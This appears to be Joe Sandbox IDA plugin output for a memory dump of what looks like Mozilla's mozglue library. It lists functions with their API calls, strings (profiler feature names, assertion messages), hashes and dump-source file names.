Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB
MOZ_CRASH(), xrefs: 6C4F97EA

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C54793C, 6C547E0B, 6C547B0B, 6C5479FB, 6C5479C0, 6C547796

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C54793C, 6C547C72, 6C547E0B, 6C547C03, 6C547B0B, 6C5479FB, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

java, xrefs: 6C51CC37
cpuallthreads, xrefs: 6C51CE16
Unrecognized feature "%s"., xrefs: 6C51CEA0
nostacksampling, xrefs: 6C51CD7C
noiostacks, xrefs: 6C51CCBE
samplingallthreads, xrefs: 6C51CE2C
nativeallocations, xrefs: 6C51CDA8
stackwalk, xrefs: 6C51CCF8
leaf, xrefs: 6C51CC66
seqstyle, xrefs: 6C51CCE6
preferencereads, xrefs: 6C51CD92
markersallthreads, xrefs: 6C51CE42
fileioall, xrefs: 6C51CCA8
ipcmessages, xrefs: 6C51CDBE
unregisteredthreads, xrefs: 6C51CE58
screenshots, xrefs: 6C51CCD4
default, xrefs: 6C51CC21
fileio, xrefs: 6C51CC92
processcpu, xrefs: 6C51CE6E
notimerresolutionchange, xrefs: 6C51CE00
audiocallbacktracing, xrefs: 6C51CDD4
jsallocations, xrefs: 6C51CD0E
power, xrefs: 6C51CE84
mainthreadio, xrefs: 6C51CC7C

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06
